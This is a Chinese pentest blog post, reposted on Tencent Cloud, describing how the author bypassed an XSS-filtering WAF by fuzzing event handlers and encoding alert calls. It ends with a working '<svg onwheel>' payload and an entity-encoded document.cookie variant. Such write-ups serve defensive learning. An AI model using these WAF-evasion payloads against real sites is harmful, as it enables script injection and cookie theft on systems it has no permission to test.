专栏首页重生信息安全一次bypass Xss-waf的经历

一次bypass Xss-waf的经历

那原本是一个Happy的夜晚,我搞了二两小白酒,听到领导发来的消息,还TM喝酒,加班了!

接到测试网站,利用crawlergo+XRAY扫到了一个xss,这是入口点。打开网页长这个样子。

利用点在keyword参数

我们闭合前面的<script>看看

嗯..问题不大

而当直接注入payload的时候,会被拦截

麻麻赖赖的,咋直接干它!

开始尝试绕过payload

最后发现,onerror= 会被直接拦截

onerror== 不会被拦截,而是变成onerror="="

除此之外,不论=后面是否存在数值,都会被拦截。

于是猜想,是不是onerror这个事件太常用了,所以作为关键词的一部分被拦截了,因此我开始fuzz事件

这里贴出所有的事件,来自菜鸟教程。

onclick  
oncontextmenu  
ondblclick  
onmousedown  
onmouseenter  
onmouseleave  
onmousemove  
onmouseover  
onmouseout  
onmouseup
onkeydown
onkeypress
onkeyup
onabort
onbeforeunload
onerror
onhashchange  
onload
onpageshow
onpagehide
onresize  
onscroll  
onunload  
onblur  
onchange  
onfocus  
onfocusin  
onfocusout
oninput  
onreset
onsearch
onselect
onsubmit
oncopy  
oncut  
onpaste
onafterprint  
onbeforeprint  
ondrag
ondragend  
ondragenter
ondragleave
ondragover
ondragstart  
ondrop
onabort
oncanplay
oncanplaythrough
ondurationchange
onemptied
onended
onerror  
onloadeddata  
onloadedmetadata
onloadstart
onpause  
onplay  
onplaying  
onprogress
onratechange
onseeked
onseeking  
onstalled
onsuspend
ontimeupdate
onvolumechange
onwaiting  
animationend
animationiteration
animationstart
transitionend  
onmessage  
onmousewheel
ononline
onoffline  
onpopstate  
onshow
onstorage  
ontoggle  
onwheel

随后,fuzz出了一堆可触发的事件出来

最后我选择了onwhell,滚动的时候触发,但是紧跟着alert依旧不行

于是,我认为是alert(1)这个函数太过敏感,我们可以用一些别的方法来进行混淆。

于是在尝试了反引号,confirm,prompt等都不行的时候,我居然想出了console.log(1)这个方法。

没想到又出来一个拦截

真的是i了i了

最后掏出我弹药库里的一些储备

例如这些:

self['al'%2B'ert'](1) >
parent['al'%2B'ert'](1) >
frames['al'%2B'ert'](1) >
content['al'%2B'ert'](1) >
window['al'%2B'ert'](1) >

但是也都一一被拦截下来

最后,幸运之神还是眷顾了我,让我找到了没有被waf住的包

例如:

javascript&#x3A;alert&lpar;document&period;cookie&rpar;

在javascript接着的语句中,进行编码后依旧可以进行识别

或者利用toString的编码转换,来进行bypass

例如

最后结合top来进行二次绕过

top[11189117..toString(32)](1);

那么最后为什么还没有弹框呢?原因是src=1 和onwheel压根没啥子关系。。

我们换个<svg onwheel>会不会更好。只需滚动一下鼠标滑轮即可

</sCrIpT><svg  onwheel=top[11189117..toString(32)](1);>

搞定收工,继续喝酒去!

本文分享自微信公众号 - 重生信息安全(csxxaq),作者:ice

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-06-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 域渗透-权限维持之 DSRM

    除了krbtgt服务帐号外,域控上还有个可利用的账户:目录服务还原模式(DSRM)账户,这个密码是在DC安装的时候设置的,所以一般不会被修改。但是微软对DSRM...

    重生信息安全
  • Wifi WPS解锁器 - 恢复默认的WPS PIN码

    https://play.google.com/store/apps/details?id=com.MelasGR.wifiunlocker&hl=en

    重生信息安全
  • 一篇文章带你入门移动安全

    这篇文章集合了一些入门移动安全的基础渗透知识,希望可以能给想入门移动安全小伙伴们一些收获。

    重生信息安全
  • 我是如何零准备苟进复赛圈?华为软挑开挂指南(附赛题预测)

    这篇文章纯粹是心血来潮,原因是去年上传到github的参赛代码(文末点击阅读原文直达),前几天又有两个人star和fork了。

    帅地
  • javascript 红皮高程(17)

    按位操作符真是有头大的感觉,其实我也不太清楚哪里可以用到它。但即使不懂,也要先学会再说。 今天继续,按位或(OR), 它由一个竖线符号(|) 表示,同样也是操作...

    web前端教室
  • 如何在微服务之间共享和同步代码

    微服务架构非常适合构建可扩展的代码库,具有更少的耦合,更好的关注点分离,更高的弹性,结合不同的技术,最重要的是,更好的模块化和构建它的组件的可重用性。

    February
  • ONOS编程系列(二)命令行命令与服务开发

    此文章承接ONOS编程系列(一) Application Tutorial ,如果尚未看过上一篇,请先看完上一篇,再回过头来看此篇。 本文章的目的在于让读者明白...

    SDNLAB
  • [译] 量化的奥运,顶级选手穿什么

    大数据文摘
  • Android 架构组件的最新进展 (下篇)

    根据我们曾经做的调查,开发者们希望 Android 官方可以维护一些实用的组件库和架构实践,以降低中大型应用的开发门槛,这样开发团队就可以集中更多精力在实际业务...

    Android 开发者
  • JDK容器学习之HashMap (三) : 迭代器实现

    HashMap 迭代器实现方式 java的容器类,实现Collection接口的都会实现迭代器方式,Map则有点特殊,它不实现Collection接口,它的迭...

    一灰灰blog

扫码关注云+社区

领取腾讯云代金券